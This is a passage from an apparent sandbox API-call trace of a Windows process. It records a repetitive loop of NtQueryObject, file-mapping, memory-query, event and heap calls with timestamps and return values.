ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.922] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.922] ResetEvent (hEvent=0xdc) returned 1 [0093.922] SetEvent (hEvent=0xe0) returned 1 [0093.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.922] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.923] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.923] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.923] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.923] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.923] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.923] ResetEvent (hEvent=0xdc) returned 1 [0093.923] SetEvent (hEvent=0xe0) returned 1 [0093.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.923] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.924] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.924] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.924] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.924] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.924] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.924] ResetEvent (hEvent=0xdc) returned 1 [0093.924] SetEvent (hEvent=0xe0) returned 1 [0093.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.924] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.925] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.925] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.925] ResetEvent (hEvent=0xdc) returned 1 [0093.925] SetEvent (hEvent=0xe0) returned 1 [0093.925] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.925] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.926] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.926] ResetEvent (hEvent=0xdc) returned 1 [0093.926] SetEvent (hEvent=0xe0) returned 1 [0093.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.926] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.926] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.926] ResetEvent (hEvent=0xdc) returned 1 [0093.927] SetEvent (hEvent=0xe0) returned 1 [0093.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.927] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.927] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.927] ResetEvent (hEvent=0xdc) returned 1 [0093.927] SetEvent (hEvent=0xe0) returned 1 [0093.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.928] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.928] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.928] ResetEvent (hEvent=0xdc) returned 1 [0093.928] SetEvent (hEvent=0xe0) returned 1 [0093.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.929] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.929] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.929] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.929] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.929] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.929] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.929] ResetEvent (hEvent=0xdc) returned 1 [0093.929] SetEvent (hEvent=0xe0) returned 1 [0093.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.930] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.930] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.930] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.930] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.930] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.930] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.930] ResetEvent (hEvent=0xdc) returned 1 [0093.930] SetEvent (hEvent=0xe0) returned 1 [0093.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.930] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.931] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.931] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.931] ResetEvent (hEvent=0xdc) returned 1 [0093.931] SetEvent (hEvent=0xe0) returned 1 [0093.931] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.931] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.932] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.932] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.932] ResetEvent (hEvent=0xdc) returned 1 [0093.932] SetEvent (hEvent=0xe0) returned 1 [0093.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.933] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.933] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.934] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.934] ResetEvent (hEvent=0xdc) returned 1 [0093.934] SetEvent (hEvent=0xe0) returned 1 [0093.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.934] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.935] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.935] ResetEvent (hEvent=0xdc) returned 1 [0093.935] SetEvent (hEvent=0xe0) returned 1 [0093.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.935] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.935] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.936] ResetEvent (hEvent=0xdc) returned 1 [0093.936] SetEvent (hEvent=0xe0) returned 1 [0093.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.936] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.936] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.936] ResetEvent (hEvent=0xdc) returned 1 [0093.936] SetEvent (hEvent=0xe0) returned 1 [0093.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.937] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.937] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.937] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.937] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.937] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.937] ResetEvent (hEvent=0xdc) returned 1 [0093.937] SetEvent (hEvent=0xe0) returned 1 [0093.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.938] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.938] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.938] ResetEvent (hEvent=0xdc) returned 1 [0093.938] SetEvent (hEvent=0xe0) returned 1 [0093.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.939] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.939] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.939] ResetEvent (hEvent=0xdc) returned 1 [0093.939] SetEvent (hEvent=0xe0) returned 1 [0093.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.939] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.940] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.940] ResetEvent (hEvent=0xdc) returned 1 [0093.940] SetEvent (hEvent=0xe0) returned 1 [0093.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.940] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.941] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.941] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.941] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.941] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.941] ResetEvent (hEvent=0xdc) returned 1 [0093.941] SetEvent (hEvent=0xe0) returned 1 [0093.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.941] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.942] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.942] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.942] ResetEvent (hEvent=0xdc) returned 1 [0093.942] SetEvent (hEvent=0xe0) returned 1 [0093.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.942] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.942] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.942] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.943] ResetEvent (hEvent=0xdc) returned 1 [0093.943] SetEvent (hEvent=0xe0) returned 1 [0093.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.943] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.943] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.943] ResetEvent (hEvent=0xdc) returned 1 [0093.943] SetEvent (hEvent=0xe0) returned 1 [0093.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.944] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.944] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.944] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.944] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.944] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.944] ResetEvent (hEvent=0xdc) returned 1 [0093.944] SetEvent (hEvent=0xe0) returned 1 [0093.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.945] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.945] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.945] ResetEvent (hEvent=0xdc) returned 1 [0093.945] SetEvent (hEvent=0xe0) returned 1 [0093.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.946] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.946] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.946] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.946] ResetEvent (hEvent=0xdc) returned 1 [0093.946] SetEvent (hEvent=0xe0) returned 1 [0093.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.946] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.947] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.947] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.947] ResetEvent (hEvent=0xdc) returned 1 [0093.947] SetEvent (hEvent=0xe0) returned 1 [0093.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.947] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.948] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.948] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.948] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.948] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.948] ResetEvent (hEvent=0xdc) returned 1 [0093.948] SetEvent (hEvent=0xe0) returned 1 [0093.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.948] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.949] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.949] ResetEvent (hEvent=0xdc) returned 1 [0093.949] SetEvent (hEvent=0xe0) returned 1 [0093.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.949] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.950] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.950] ResetEvent (hEvent=0xdc) returned 1 [0093.950] SetEvent (hEvent=0xe0) returned 1 [0093.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.950] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.950] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.950] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.950] ResetEvent (hEvent=0xdc) returned 1 [0093.950] SetEvent (hEvent=0xe0) returned 1 [0093.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.951] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.951] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.951] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.951] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.951] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.951] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.951] ResetEvent (hEvent=0xdc) returned 1 [0093.951] SetEvent (hEvent=0xe0) returned 1 [0093.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.952] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.952] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.952] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.952] ResetEvent (hEvent=0xdc) returned 1 [0093.952] SetEvent (hEvent=0xe0) returned 1 [0093.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.953] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.953] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.953] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.953] ResetEvent (hEvent=0xdc) returned 1 [0093.953] SetEvent (hEvent=0xe0) returned 1 [0093.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.953] 